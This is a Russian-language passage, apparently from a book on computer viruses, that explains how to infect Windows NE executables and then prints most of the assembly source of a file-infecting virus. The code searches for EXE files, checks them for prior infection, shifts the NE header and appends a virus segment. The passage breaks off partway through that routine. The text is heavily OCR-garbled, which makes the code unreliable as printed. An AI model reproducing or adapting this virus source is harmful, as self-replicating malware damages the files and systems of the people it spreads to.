Истории о вирусах

В исполняемом файле Windows содержатся




В исполняемом файле Windows содержатся в различных комбинациях

код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-

грамм. Учитывая возможность запуска файла из DOS, формат данных

должен распознаваться обеими системами - и DOS, и Windows.

Для этого все исполняемые файлы под Windows содержат два заголов-

ка. Первый заголовок (старый) - распознается DOS как программа, вы-

водящая на экран "This program requires Microsoft Windows". Второй

заголовок (NewEXE) - для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата

WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для

DOS и программы (STUB), которая выводит сообщение "This program

requires Microsoft Windows".



Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,

значит по смещению 3Ch находится смещение заголовка NewEXE.

Заголовок NewEXE начинается с символов "NE". Далее идет собствен-

но заголовок, в котором содержатся различные данные, в том числе ад-

реса смещений таблиц сегментов, ресурсов и другие. После заголовка

расположена таблица сегментов, за ней - все остальные таблицы, далее

размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий

сегмент вируса.

4. CS:IP NewEXE изменяется на начало вирусного кода, само тело

вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21h из-под

Windows) необходимо использовать функции DPMI (INT 31h). Дей-

ствия: выделение сегмента, изменение его прав доступа, запись вируса,

перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows.

Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-

ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.

.286



.MODEL TINY

.CODE

;Сохраним регистры и флаги

pushf

pusha

push ds

push es

.Проверим, доступен ли DPMI. Если доступен,

Продолжаем, если нет - выходим

mov ax,1686h

int 2Fh

or ax, ax

jz dpmi_exist

;Восстановим регистры и флаги

exit:

pop es

pop ds

popa

popf

.Запустим программу-носитель

db OEAh

reloclP dw 0

relocCS dw OFFFFh

dpmi_exist:

; Выделим линейный блок памяти, используя DPMI

mov ax,0501h

mov cx,OFFFFh

xor bx.bx

int 31 h

;Сохраним индекс и 32-битный линейный адрес

.полученного блока памяти в стеке

push si ~^

push di

push bx

push ex

;Создадим дескриптор в таблице LDT

хог ах,ах

mov ex, 1

int 31 h

;B поле адреса полученного дескриптора

.установим адрес нужного блока памяти

mov bx,ax

mov ах,7

pop dx

pop ex

int •31h

;B поле предела полученного дескриптора

остановим размер выделенного блока памяти

mov ах,8

mov dx,OFFFFh

хог сх.сх

int 31h

;В поле прав доступа полученного дескриптора установим значение,

соответствующее сегменту данных, доступному для чтения и записи

mov ах,9

mov cl, 1111001 Ob

хог ch,ch

int 31h

;3агрузим селектор в регистр DS. После этого регистр DS будет

оказывать на выделенный блок памяти

mov ds.bx

.Читаем из стека и сохраняем в памяти

;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

Получим текущую DTA

mov ah,2Fh

int 21 h

mov [DTA],bx

mov [DTA+2],es

;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)

mov ah,4Eh

xor ex,ex

mov dx,OFFSET wild_exe

push ds

push cs

pop ds

int 21 h

pop ds

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу-носитель

jnc found_exe

;0свободим выделенную область памяти

call free

.Запустим программу-носитель

jmp exit

.Перейдем к следующему файлу - этот не подходит

close_exe:

; Закроем файл

mov ah,3Eh

int 21h

;Найдем следующий файл

mov ah,4Fh

int 21h

;Если файл найден, перейдем к заражению, иначе освободим

-.выделенную область памяти и запустим программу-носитель

jnc found_exe

;0свободим выделенную область памяти



call free

;3апустим программу-носитель

jmp exit

; Файл найден, проверим его на пригодность к заражению

found ехе:

;0ткроем файл для чтения и записи

push ds

Ids dx, DWORD PTR [DTA]

add dx.lEh

mov ax,3D02h

int 21 h

pop ds

.Прочтем старый заголовок

mov dx.OFFSET old_hdr

mov bx.ax

mov cx,40h

mov ah,3Fh

int 21h

;Проверим сигнатуру, это ЕХЕ-файл?

cmp WORD PTR [old_hdr],"ZM"

jne close_exe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;РЕ-, LE-, LX-executable или другой

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

.Перейдем ко второму заголовку (может быть, это NewEXE?):

Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx.WORD PTR [old_hdr+3Ch]

mov cx.WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

; Прочитаем второй заголовок

mov dx.OFFSET newJ-idr

mov ex,40h

mov ah,3fh

int 21h

[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл

cmp WORD PTR [new_hdr],"EN"

jne close_exe

[Проверим, для Windows ли предназначен этот файл. Если да, будем

;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

.Переместим указатель чтения/записи в таблицу сегментов,

;к элементу, обозначающему сегмент точки старта программы.

[Для этого прочтем значение регистра CS при запуске

[этого ЕХЕ-файла

mov dx.WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему

[элемента в таблице сегментов

dec dx

shi dx,3

;K результату прибавим смещение таблицы сегментов и смещение

.заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx.WORO PTR [old_hdr+3ch]

mov cx.WORD PTR [old_hdr+3eh]

[Переместим указатель чтения/записи

mov ax,4200h

int 21 h

[Прочтем из таблицы сегментов смещение логического сектора



mov dx,OFFSET temp

mov ex, 2

mov ah,3Fh

int 21 h

. Вычислим смещение сегмента, опираясь на значения

.смещения логического сектора и множителя секторов

mov dx.WORD PTR [temp]

mov cx.WORD PTR [new_hdr+32h]

xor ax.ax

cal_entry:

shi dx,1

rcl ax,1

loop cal_entry

.Переместим 16 старших бит 32-битного результата в регистр СХ

mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)

add dx,WORD PTR [new_hdr+14h]

adc cx.O

;Переместим указатель позиции чтения/записи на точку старта

.программы - результат вычисления

mov ax,4200h

int 21 h

;Считаем первые 10 байт после старта программы

mov dx, OFFSET temp

mov cx,10h

mov ah,3Fh

int 21 h

Проверим, заражен ли файл. Если считанные 10 байт в точности

;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.

;В этом случае переходим к поиску следующего, иначе - заражаем

mov si.OFFSET temp

push cs

pop es

xor di.di

mov ex, 8

eld

rep cmpsw

jne ok_to_infect

jmp close_exe

Приступим к заражению

ok_to_infect:

Переместим NE-заголовок на 8 байт ближе к началу файла.

; Исправим соответствующие поля старого заголовка

sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8

sbb WORD PTR [old_hdr+3eh],0

; Исправим значения таблиц в новом заголовке, чтобы переместились

;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP

push WORD PTR [new_hdr+14h]

pop [hostJp]

pushTWORD PTR [new_hdr+16h]

pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим

;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

.Переместим указатель чтения/записи в начало файла

;(к старому заголовку)

хог сх.сх

xor dx.dx

mov ax,4200h

int 21 h

;3апишем старый заголовок, так как модифицированы

;некоторые поля его копии в памяти



mov dx.OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового

заголовка (его переместили на 8 байт к началу файла)

mov dx.WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h

int 21 h

; 3апишем новый заголовок, так как в его копии

;в памяти некоторые поля модифицированы

mov dx, OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

.Переместим указатель чтения/записи на 8 байт

;вперед - к началу таблицы сегментов

хог сх.сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память

mov dx,OFFSET temp

mov cx.WORD PTR [new_hdr+1ch]

dec ex

shi cx.3

push ex

mov ah,3Fh

int 21h

Переместим указатель чтения/записи назад, к позиции

;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

int 21h

;3апишем таблицу сегментов в файл, но не на ее прежнее место,

;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop ex

mov ah,40h

int 21h

.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

xor сх,сх

xor dx.dx

mov^ ax,4201h

int 21 h

;Сохраним в стеке текущую позицию чтения/записи

push dx

push ax

.Получим длину файла, переместив указатель

^тения/записи в конец файла

xor сх.сх

xor dx,dx

mov ax,4202h

int 21 h

;Сохраним в стеке длину файла

push dx

push ax

;Вычислим и сохраним длину логического сектора

mov cx.WORD PTR [new_hdr+32h]

mov ax,1

shi ax.cl

mov [log_sec_len],ax

;Вычислим длину файла в логических секторах

mov сх.ах

pop ax

pop dx

div ex

-.Учтем неполный сектор. Если в результате получился

;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax

no_rmd:

;3аполним поля нового элемента в таблице сегментов

mov [my_seg_entry],ax


Содержание раздела